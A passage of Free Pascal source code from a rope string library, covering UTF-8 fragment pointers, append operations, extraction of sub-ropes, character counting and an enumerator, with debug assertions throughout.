FPosition.InlineIndex := 0;
Assert(FPosition.CurrentFragment^.InlineLength > 0);
FPosition.InlineCodepointLength := UTF8ToUTF8Length(@FPosition.CurrentFragment^.InlineValue[0]);
Assert(FPosition.InlineIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.InlineLength);
end;
rfCodepoints:
begin
FPosition.CodepointsIndex := 0;
Assert(FPosition.CurrentFragment^.CodepointsLength > 0);
FPosition.CodepointsIndexIncluded := True;
end;
else
begin
Assert(False);
end;
end;
end
else
begin
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: FPosition.BufferCodepointLength := 0;
rfUTF8Inline: FPosition.InlineCodepointLength := 0;
rfCodepoints: FPosition.CodepointsIndexIncluded := False;
else
Assert(False);
end;
end;
end;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: AdvanceToNextFaster() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
if (FPosition.BufferCodepointLength > 0) then
Inc(FPosition.BufferIndex, FPosition.BufferCodepointLength);
Assert(FPosition.BufferIndex <= FPosition.CurrentFragment^.BufferLength); // UTF-8 can't span boundaries, so we can't have advanced past the boundary
case (FPosition.CurrentFragment^.BufferLength-FPosition.BufferIndex) of
0: begin
MoveToNext();
end;
1: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
2: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
3: begin
LocalBuffer[0] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex)^;
LocalBuffer[1] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+1)^;
LocalBuffer[2] := (FPosition.CurrentFragment^.BufferValue+FPosition.BufferIndex+2)^;
LocalBuffer[3] := 0;
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@LocalBuffer[0]);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
else
begin
FPosition.BufferCodepointLength := UTF8ToUTF8Length(FPosition.CurrentFragment^.BufferValue + FPosition.BufferIndex);
Assert(FPosition.BufferIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.BufferLength); // should still not be more than we have...
end;
end;
end;
rfUTF8Inline:
begin
if (FPosition.InlineCodepointLength > 0) then
Inc(FPosition.InlineIndex, FPosition.InlineCodepointLength);
Assert(FPosition.InlineIndex <= FPosition.CurrentFragment^.InlineLength); // UTF-8 can't span boundaries, so we can't have advanced past the boundary
if (FPosition.InlineIndex = FPosition.CurrentFragment^.InlineLength) then
begin
MoveToNext();
end
else
begin
FPosition.BufferCodepointLength := UTF8ToUTF8Length(@FPosition.CurrentFragment^.InlineValue[FPosition.InlineIndex]);
Assert(FPosition.InlineIndex+FPosition.BufferCodepointLength <= FPosition.CurrentFragment^.InlineLength); // should still not be more than we have...
end;
end;
rfCodepoints:
begin
if (FPosition.CodepointsIndexIncluded) then
Inc(FPosition.CodepointsIndex);
Assert(FPosition.CodepointsIndex <= FPosition.CurrentFragment^.CodepointsLength);
if (FPosition.CodepointsIndex = FPosition.CurrentFragment^.CodepointsLength) then
begin
MoveToNext()
end
else
begin
FPosition.CodepointsIndexIncluded := True;
end;
end;
else
Assert(False);
end;
{$IFOPT C+} FCurrentCharacter := kNone; {$ENDIF}
end;
procedure TRopePointer.SetToZeroWidth();
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: SetToZeroWidth() on rope pointer @', IntToHex(PtrUInt(@Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(Assigned(FRope)); {$ENDIF}
{$IFOPT C+} Assert(not IsZeroWidth()); {$ENDIF}
{$IFOPT C+} Assert(not IsEOF()); {$ENDIF}
case (FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: FPosition.BufferCodepointLength := 0;
rfUTF8Inline: FPosition.InlineCodepointLength := 0;
rfCodepoints: FPosition.CodepointsIndexIncluded := False;
else
Assert(False);
end;
{$IFOPT C+} FCurrentCharacter := kNone; {$ENDIF}
end;
function CutRope.GetIsEmpty(): Boolean;
begin
Result := Length(FValue) = 0;
end;
function CutRope.GetAsString(): UTF8String;
begin
{$IFOPT C+} Assert(not FRead); {$ENDIF}
if (Length(FValue) = 0) then
begin
Result := '';
exit;
end;
Result := RopeInternals.Serialise(@FValue[0]);
{$IFOPT C+} FRead := True; {$ENDIF}
end;
function CutRope.GetAsStringSlow(): UTF8String;
begin
if (Length(FValue) = 0) then
begin
Result := '';
exit;
end;
Result := RopeInternals.Serialise(@FValue[0]);
end;
class function CutRope.CreateFrom(const NewString: TUnicodeCodepointArray): CutRope;
var
Index: Cardinal;
begin
Assert(Length(NewString) <= RopeInternals.CodepointsSize);
Assert(Length(NewString) > 0);
SetLength(Result.FValue, 1);
Result.FValue[0].Kind := rfCodepoints;
for Index := Low(NewString) to High(NewString) do // $R-
Result.FValue[0].CodepointsValue[Index] := NewString[Index];
Result.FValue[0].CodepointsLength := Length(NewString); // $R-
Result.FValue[0].Next := nil;
{$IFOPT C+} Result.FRead := False; {$ENDIF}
end;
class function CutRope.CreateFrom(const NewString: UTF8String): CutRope;
begin
Assert(NewString <> '');
{$IFOPT C+} AssertStringIsConstant(NewString); {$ENDIF}
SetLength(Result.FValue, 1);
Result.FValue[0].Kind := rfUTF8Buffer;
Result.FValue[0].BufferValue := PByte(NewString);
Result.FValue[0].BufferLength := Length(NewString); // $R-
Assert(not Assigned(Result.FValue[0].Next));
{$IFOPT C+} Result.FRead := False; {$ENDIF}
end;
procedure Rope.EnsureSize(const NeededBaseSlots: Cardinal = 1; const NeededSubslots: Cardinal = 1);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: EnsureSize(', NeededBaseSlots, ', ', NeededSubslots, ') on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
Assert(NeededBaseSlots > 0);
Assert((NeededBaseSlots = 1) or (NeededSubslots = 0));
if (Length(FValue) = 0) then
begin
FLast := nil;
SetLength(FValue, Max(NeededBaseSlots, kMinBaseSlots));
if (NeededSubslots > 0) then
begin
Assert(Length(FValue) > 0);
SetLength(FValue[0], Max(NeededSubslots, kMinSubslots));
FFilledLength := 1;
end
else
FFilledLength := 0;
FLastArrayFilledLength := 0;
end
else
begin
Assert(NeededBaseSlots > 0);
Assert(FFilledLength > 0); // shouldn't ever end up here the second time if we haven't used a base slot
if ((NeededSubslots = 0) or ((NeededSubslots > 0) and (FLastArrayFilledLength >= Length(FValue[FFilledLength-1])))) then
begin
if (FFilledLength+NeededBaseSlots > Length(FValue)) then
begin
// XXX should handle overflows here
SetLength(FValue, Max(FFilledLength + NeededBaseSlots, Length(FValue) * 2)); // XXX // $R-
end;
if (NeededSubslots > 0) then
begin
SetLength(FValue[FFilledLength], Max(NeededSubslots, kMinSubslots));
Inc(FFilledLength);
FLastArrayFilledLength := 0;
end;
end;
end;
end;
function Rope.GetIsEmpty(): Boolean;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: GetIsEmpty() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
Result := Length(FValue) = 0;
{$IFOPT C+}
Assert(Result = not Assigned(FLast));
{$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Result = ', Result); {$ENDIF}
end;
function Rope.GetAsString(): UTF8String;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: GetAsString() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
if (Length(FValue) = 0) then
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Empty Rope'); {$ENDIF}
Result := '';
exit;
end;
Assert(FFilledLength > 0);
Assert(Length(FValue) >= FFilledLength);
Assert(Length(FValue) > 0);
Assert(Length(FValue[0]) > 0);
Assert(Assigned(FLast));
Result := RopeInternals.Serialise(@FValue[0][0]);
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Result = "', Result, '"'); {$ENDIF}
end;
{$IFOPT C+}
procedure Rope.AssertInit();
begin
Assert(Length(FValue) = 0, 'Somehow this Rope has a value with length ' + IntToStr(Length(FValue)));
Assert(not Assigned(FLast));
end;
{$ENDIF}
procedure Rope.AppendDestructively(var NewString: CutRope);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: AppendDestructively(CutRope) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
if (Length(NewString.FValue) > 0) then
begin
EnsureSize(1, 0);
Assert(FFilledLength < Length(FValue));
FValue[FFilledLength] := NewString.FValue;
{$IFOPT C+} NewString.FValue := nil; {$ENDIF}
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength][0];
Assert(FLast^.Next <> FLast);
end;
FLastArrayFilledLength := Length(FValue[FFilledLength]); // $R-
FLast := @FValue[FFilledLength][FLastArrayFilledLength-1];
Inc(FFilledLength);
Assert(not Assigned(FLast^.Next));
end;
end;
procedure Rope.AppendDestructively(var NewString: Rope);
var
Index: Cardinal;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: AppendDestructively(Rope) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
if (Length(NewString.FValue) > 0) then
begin
Assert(NewString.FFilledLength > 0);
Assert(NewString.FFilledLength <= Length(NewString.FValue));
if (Length(FValue) = 0) then
begin
FValue := NewString.FValue;
FFilledLength := NewString.FFilledLength;
end
else
begin
Assert(Assigned(FLast));
if (FFilledLength+NewString.FFilledLength < Length(FValue)) then
EnsureSize(NewString.FFilledLength, 0);
Assert(FFilledLength + NewString.FFilledLength <= Length(FValue));
for Index := 0 to NewString.FFilledLength-1 do // $R-
FValue[FFilledLength+Index] := NewString.FValue[Index];
FLast^.Next := @FValue[FFilledLength][0];
Assert(FLast^.Next <> FLast);
Inc(FFilledLength, NewString.FFilledLength);
Assert(NewString.FLast = @FValue[FFilledLength-1][High(FValue[FFilledLength-1])]);
end;
FLastArrayFilledLength := NewString.FLastArrayFilledLength;
FLast := NewString.FLast;
Assert(not Assigned(FLast^.Next));
{$IFOPT C+}
NewString.FValue := nil;
NewString.FFilledLength := 0;
NewString.FLastArrayFilledLength := 0;
NewString.FLast := nil;
{$ENDIF}
end;
end;
procedure Rope.Append(const NewString: PUTF8String);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Append(PUTF8String) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
Assert(Assigned(NewString));
Assert(NewString^ <> '');
EnsureSize(1, 1);
Assert(FFilledLength > 0);
Assert(FLastArrayFilledLength < Length(FValue[FFilledLength-1]));
FValue[FFilledLength-1][FLastArrayFilledLength].Kind := rfUTF8Buffer;
FValue[FFilledLength-1][FLastArrayFilledLength].BufferValue := PByte(NewString^);
FValue[FFilledLength-1][FLastArrayFilledLength].BufferLength := Length(NewString^); // $R-
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength-1][FLastArrayFilledLength];
Assert(FLast^.Next <> FLast);
end;
FLast := @FValue[FFilledLength-1][FLastArrayFilledLength];
Inc(FLastArrayFilledLength);
end;
procedure Rope.Append(const NewString: RopeInternals.TInlineString);
var
Index: Cardinal;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Append(ShortString) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Length(FValue)=', Length(FValue)); {$ENDIF}
Assert(Length(NewString) <= RopeInternals.UTF8InlineSize, 'Maximum size of short string is ' + IntToStr(RopeInternals.UTF8InlineSize));
if (Length(NewString) > RopeInternals.UTF8InlineSize) then
begin
Writeln('Error: Append() call with string length > UTF8InlineSize: "' + NewString + '"');
Writeln('Call Append() with a string pointer, not a string: Append(@Foo), not Append(Foo)');
Halt(1);
end;
if ((not Assigned(FLast)) or (FLast^.Kind <> rfUTF8Inline) or (RopeInternals.UTF8InlineSize - FLast^.InlineLength < Length(NewString))) then
begin
EnsureSize(1, 1);
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now Length(FValue)=', Length(FValue)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now FFilledLength=', FFilledLength); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now Length(FValue[FFilledLength-1])=', Length(FValue[FFilledLength-1])); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now FLastArrayFilledLength=', FLastArrayFilledLength); {$ENDIF}
Assert(FFilledLength > 0);
Assert(FLastArrayFilledLength < Length(FValue[FFilledLength-1]));
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength-1][FLastArrayFilledLength];
Assert(FLast^.Next <> FLast);
end;
FLast := @FValue[FFilledLength-1][FLastArrayFilledLength];
FLast^.Kind := rfUTF8Inline;
FLast^.InlineLength := 0;
Inc(FLastArrayFilledLength);
end;
for Index := 1 to Length(NewString) do
FLast^.InlineValue[FLast^.InlineLength+Index-1] := Byte(NewString[Index]);
Inc(FLast^.InlineLength, Length(NewString));
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: content is now: "' + AsString + '"'); {$ENDIF}
end;
procedure Rope.Append(const NewString: TUnicodeCodepoint);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Append(TUnicodeCodepoint) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Length(FValue)=', Length(FValue)); {$ENDIF}
EnsureSize(1, 1);
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now Length(FValue)=', Length(FValue)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now FFilledLength=', FFilledLength); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now Length(FValue[FFilledLength-1])=', Length(FValue[FFilledLength-1])); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: now FLastArrayFilledLength=', FLastArrayFilledLength); {$ENDIF}
Assert(FFilledLength > 0);
Assert(FLastArrayFilledLength < Length(FValue[FFilledLength-1]));
FValue[FFilledLength-1][FLastArrayFilledLength].Kind := rfCodepoints;
FValue[FFilledLength-1][FLastArrayFilledLength].CodepointsValue[0] := NewString;
FValue[FFilledLength-1][FLastArrayFilledLength].CodepointsLength := 1;
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength-1][FLastArrayFilledLength];
Assert(FLast^.Next <> FLast);
end;
FLast := @FValue[FFilledLength-1][FLastArrayFilledLength];
Inc(FLastArrayFilledLength);
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: content is now: "' + AsString + '"'); {$ENDIF}
end;
procedure Rope.Append(const NewString: TUnicodeCodepointArray);
var
Index: Cardinal;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Append(TUnicodeCodepointArray) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
Assert(Length(NewString) <= RopeInternals.CodepointsSize);
Assert(Length(NewString) > 0);
EnsureSize(1, 1);
Assert(FFilledLength > 0);
Assert(FLastArrayFilledLength < Length(FValue[FFilledLength-1]));
FValue[FFilledLength-1][FLastArrayFilledLength].Kind := rfCodepoints;
for Index := Low(NewString) to High(NewString) do // $R-
FValue[FFilledLength-1][FLastArrayFilledLength].CodepointsValue[Index] := NewString[Index];
FValue[FFilledLength-1][FLastArrayFilledLength].CodepointsLength := Length(NewString); // $R-
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength-1][FLastArrayFilledLength];
Assert(FLast^.Next <> FLast);
end;
FLast := @FValue[FFilledLength-1][FLastArrayFilledLength];
Inc(FLastArrayFilledLength);
end;
procedure Rope.Append(const NewData: Pointer; const NewLength: QWord);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Append(Pointer) on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Data at ', IntToHex(PtrUInt(NewData), 16), ' with length ', NewLength); {$ENDIF}
Assert(NewLength > 0);
Assert(NewLength < High(Cardinal));
EnsureSize(1, 1);
Assert(FFilledLength > 0);
Assert(FLastArrayFilledLength < Length(FValue[FFilledLength-1]));
FValue[FFilledLength-1][FLastArrayFilledLength].Kind := rfUTF8Buffer;
FValue[FFilledLength-1][FLastArrayFilledLength].BufferValue := NewData;
// XXX should handle buffers bigger than Cardinal
FValue[FFilledLength-1][FLastArrayFilledLength].BufferLength := NewLength; // XXX // $R-
if (Assigned(FLast)) then
begin
FLast^.Next := @FValue[FFilledLength-1][FLastArrayFilledLength];
Assert(FLast^.Next <> FLast);
end;
FLast := @FValue[FFilledLength-1][FLastArrayFilledLength];
Inc(FLastArrayFilledLength);
end;
procedure Rope.AppendPossiblyIncomplete(const NewData: Pointer; const NewLength: QWord);
begin
Assert(False); // this is not implemented
// what you'd have to do here is look at the last few characters, and if they could be the start of an incomplete sequence, but them in a separate
// inline fragment. Then, the next time you add something, see if the previous thing is an inline fragment, and if it is, move the first few characters
// (as many as are needed to finish reading the sequence) into the same buffer, then move the pointer of the next fragment up accordingly.
end;
function Rope.Extract(constref NewStart, NewEnd: TRopePointer): CutRope;
var
FragmentCount, FragmentIndex: Cardinal;
CurrentFragment: RopeInternals.PRopeFragment;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Extract() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFOPT C+}
Assert(NewStart.FRope = @Self);
Assert(NewEnd.FRope = @Self);
{$ENDIF}
FragmentCount := 1;
CurrentFragment := NewStart.FPosition.CurrentFragment;
Assert(Assigned(CurrentFragment));
while (CurrentFragment <> NewEnd.FPosition.CurrentFragment) do
begin
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
Assert(Assigned(CurrentFragment));
Inc(FragmentCount);
end;
SetLength(Result.FValue, FragmentCount);
FragmentIndex := 0;
CurrentFragment := NewStart.FPosition.CurrentFragment;
Result.FValue[FragmentIndex] := CurrentFragment^;
while (CurrentFragment <> NewEnd.FPosition.CurrentFragment) do
begin
Inc(FragmentIndex);
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
Assert(Assigned(CurrentFragment));
Result.FValue[FragmentIndex] := CurrentFragment^;
end;
Assert(FragmentIndex = FragmentCount-1);
if (FragmentIndex > 1) then
for FragmentIndex := Low(Result.FValue) to High(Result.FValue)-1 do // $R-
begin
Result.FValue[FragmentIndex].Next := @Result.FValue[FragmentIndex+1];
Assert(Result.FValue[FragmentIndex].Next <> @Result.FValue[FragmentIndex]);
end;
Result.FValue[High(Result.FValue)].Next := nil;
Assert(not Assigned(Result.FValue[FragmentCount-1].Next));
case (NewStart.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
Inc(Result.FValue[0].BufferValue, NewStart.FPosition.BufferIndex);
Dec(Result.FValue[0].BufferLength, NewStart.FPosition.BufferIndex);
end;
rfUTF8Inline:
begin
Assert(Result.FValue[0].InlineLength-NewStart.FPosition.InlineIndex > 0);
Move(Result.FValue[0].InlineValue[NewStart.FPosition.InlineIndex], Result.FValue[0].InlineValue[0], Result.FValue[0].InlineLength-NewStart.FPosition.InlineIndex);
Dec(Result.FValue[0].InlineLength, NewStart.FPosition.InlineIndex);
end;
rfCodepoints:
begin
Assert(Result.FValue[0].CodepointsLength-NewStart.FPosition.CodepointsIndex > 0);
Move(Result.FValue[0].CodepointsValue[NewStart.FPosition.CodepointsIndex], Result.FValue[0].CodepointsValue[0], (Result.FValue[0].CodepointsLength-NewStart.FPosition.CodepointsIndex) * SizeOf(TUnicodeCodepoint));
Dec(Result.FValue[0].CodepointsLength, NewStart.FPosition.CodepointsIndex);
end;
else
Assert(False);
end;
case (NewEnd.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
Result.FValue[High(Result.FValue)].BufferLength := PtrUInt(NewEnd.FPosition.CurrentFragment^.BufferValue) + NewEnd.FPosition.BufferIndex + NewEnd.FPosition.BufferCodepointLength - PtrUInt(Result.FValue[High(Result.FValue)].BufferValue); // $R-
rfUTF8Inline:
begin
Assert(Result.FValue[High(Result.FValue)].InlineLength >= NewEnd.FPosition.InlineIndex + NewEnd.FPosition.InlineCodepointLength);
Result.FValue[High(Result.FValue)].InlineLength := NewEnd.FPosition.InlineIndex + NewEnd.FPosition.InlineCodepointLength; // $R-
end;
rfCodepoints:
begin
if (NewEnd.FPosition.CodepointsIndexIncluded) then
begin
Assert(Result.FValue[High(Result.FValue)].CodepointsLength >= NewEnd.FPosition.CodepointsIndex + 1);
Result.FValue[High(Result.FValue)].CodepointsLength := NewEnd.FPosition.CodepointsIndex + 1; // $R-
end
else
begin
Assert(Result.FValue[High(Result.FValue)].CodepointsLength >= NewEnd.FPosition.CodepointsIndex);
Result.FValue[High(Result.FValue)].CodepointsLength := NewEnd.FPosition.CodepointsIndex;
end;
end;
else
Assert(False);
end;
{$IFOPT C+} Result.FRead := False; {$ENDIF}
end;
function Rope.ExtractAll(): CutRope;
var
FragmentCount, FragmentIndex: Cardinal;
CurrentFragment: RopeInternals.PRopeFragment;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: ExtractAll() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
FragmentCount := 0;
if (Length(FValue) > 0) then
begin
Assert(FFilledLength > 0);
Assert(Assigned(FLast));
CurrentFragment := @FValue[0][0];
Assert(Assigned(CurrentFragment));
repeat
Inc(FragmentCount);
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
until (not Assigned(CurrentFragment));
SetLength(Result.FValue, FragmentCount);
FragmentIndex := 0;
CurrentFragment := @FValue[0][0];
repeat
Result.FValue[FragmentIndex] := CurrentFragment^;
Inc(FragmentIndex);
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
until (not Assigned(CurrentFragment));
if (FragmentIndex > 1) then
for FragmentIndex := Low(Result.FValue) to High(Result.FValue)-1 do // $R-
begin
Result.FValue[FragmentIndex].Next := @Result.FValue[FragmentIndex+1];
Assert(Result.FValue[FragmentIndex].Next <> @Result.FValue[FragmentIndex]);
end;
Result.FValue[High(Result.FValue)].Next := nil;
Assert(not Assigned(Result.FValue[FragmentCount-1].Next));
{$IFOPT C+} Result.FRead := False; {$ENDIF}
end
else
begin
Result := Default(CutRope);
end;
end;
function Rope.ExtractToEnd(constref NewStart: TRopePointer): CutRope;
var
FragmentCount, FragmentIndex: Cardinal;
CurrentFragment: RopeInternals.PRopeFragment;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: ExtractToEnd() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFOPT C+} Assert(NewStart.FRope = @Self); {$ENDIF}
FragmentCount := 0;
CurrentFragment := NewStart.FPosition.CurrentFragment;
Assert(Assigned(CurrentFragment));
repeat
Inc(FragmentCount);
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
until not Assigned(CurrentFragment);
SetLength(Result.FValue, FragmentCount);
FragmentIndex := 0;
CurrentFragment := NewStart.FPosition.CurrentFragment;
repeat
Result.FValue[FragmentIndex] := CurrentFragment^;
Assert(CurrentFragment <> CurrentFragment^.Next);
CurrentFragment := CurrentFragment^.Next;
Inc(FragmentIndex);
until not Assigned(CurrentFragment);
Assert(FragmentIndex = FragmentCount);
if (FragmentIndex > 1) then
for FragmentIndex := Low(Result.FValue) to High(Result.FValue)-1 do // $R-
begin
Result.FValue[FragmentIndex].Next := @Result.FValue[FragmentIndex+1];
Assert(Result.FValue[FragmentIndex].Next <> @Result.FValue[FragmentIndex]);
end;
Result.FValue[High(Result.FValue)].Next := nil;
Assert(not Assigned(Result.FValue[FragmentCount-1].Next));
case (NewStart.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer:
begin
Inc(Result.FValue[0].BufferValue, NewStart.FPosition.BufferIndex);
Dec(Result.FValue[0].BufferLength, NewStart.FPosition.BufferIndex);
end;
rfUTF8Inline:
begin
Assert(Result.FValue[0].InlineLength-NewStart.FPosition.InlineIndex > 0);
Move(Result.FValue[0].InlineValue[NewStart.FPosition.InlineIndex], Result.FValue[0].InlineValue[0], Result.FValue[0].InlineLength-NewStart.FPosition.InlineIndex);
Dec(Result.FValue[0].InlineLength, NewStart.FPosition.InlineIndex);
end;
rfCodepoints:
begin
Assert(Result.FValue[0].CodepointsLength-NewStart.FPosition.CodepointsIndex > 0);
Move(Result.FValue[0].CodepointsValue[NewStart.FPosition.CodepointsIndex], Result.FValue[0].CodepointsValue[0], (Result.FValue[0].CodepointsLength-NewStart.FPosition.CodepointsIndex) * SizeOf(TUnicodeCodepoint));
Dec(Result.FValue[0].CodepointsLength, NewStart.FPosition.CodepointsIndex);
end;
else
Assert(False);
end;
{$IFOPT C+} Result.FRead := False; {$ENDIF}
end;
function Rope.CountCharacters(constref NewStart, NewEnd: TRopePointer): Cardinal;
var
Index: TRopePointer;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: CountCharacters() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
{$IFOPT C+}
Assert(NewStart.FRope = @Self);
Assert(NewEnd.FRope = @Self);
Assert(NewStart <= NewEnd);
{$ENDIF}
Result := 0;
Index := NewStart;
while (Index <> NewEnd) do
begin
Inc(Result);
Index.AdvanceToNextFaster();
end;
case (NewEnd.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: if (NewEnd.FPosition.BufferCodepointLength > 0) then Inc(Result);
rfUTF8Inline: if (NewEnd.FPosition.InlineCodepointLength > 0) then Inc(Result);
rfCodepoints: if (NewEnd.FPosition.CodepointsIndexIncluded) then Inc(Result);
else
Assert(False);
end;
end;
function Rope.GetEnumerator(): RopeEnumerator;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: GetEnumerator() on rope @', IntToHex(PtrUInt(@Self), 16), ' with data @', IntToHex(PtrUInt(FValue), 16)); {$ENDIF}
Result := RopeEnumerator.Create(@Self);
end;
constructor RopeEnumerator.Create(const NewTarget: PRope);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: Create() on rope enumerator @', IntToHex(PtrUInt(Self), 16)); {$ENDIF}
{$IFOPT C+} FPointer.FRope := NewTarget; {$ENDIF}
Assert(Assigned(NewTarget));
if (Length(NewTarget^.FValue) > 0) then
begin
Assert(Assigned(NewTarget^.FLast));
Assert(NewTarget^.FFilledLength > 0);
Assert(Length(NewTarget^.FValue) > 0);
Assert(Length(NewTarget^.FValue[0]) > 0);
Assert(not NewTarget^.IsEmpty);
Assert(NewTarget^.AsString <> '');
FPointer.FPosition.CurrentFragment := @(NewTarget^.FValue[0][0]);
{$IFOPT C+} FPointer.FCurrentCharacter := kNone; {$ENDIF}
{$IFOPT C+}
case FPointer.FPosition.CurrentFragment^.Kind of // CurrentFragment.Kind
rfUTF8Buffer:
begin
Assert(FPointer.FPosition.BufferIndex = 0);
Assert(FPointer.FPosition.BufferCodepointLength = 0);
end;
rfUTF8Inline:
begin
Assert(FPointer.FPosition.InlineIndex = 0);
Assert(FPointer.FPosition.InlineCodepointLength = 0);
end;
rfCodepoints:
begin
FPointer.FPosition.CodepointsIndex := 0;
FPointer.FPosition.CodepointsIndexIncluded := False;
end;
else
Assert(False);
end;
{$ENDIF}
{$IFDEF VERBOSE}
if (DebugNow) then
begin
Writeln('Ropes: enumerator is for rope with text: ' + NewTarget^.AsString);
if (FPointer.IsEOF()) then
Writeln('Ropes: enumerator at end of file')
else
Writeln('Ropes: enumerator has data');
end;
{$ENDIF}
end
else
begin
Assert(not Assigned(NewTarget^.FLast));
Assert(NewTarget^.FFilledLength = 0);
Assert(Length(NewTarget^.FValue) = 0);
Assert(NewTarget^.IsEmpty);
Assert(NewTarget^.AsString = '');
Assert(not Assigned(FPointer.FPosition.CurrentFragment));
{$IFOPT C+}
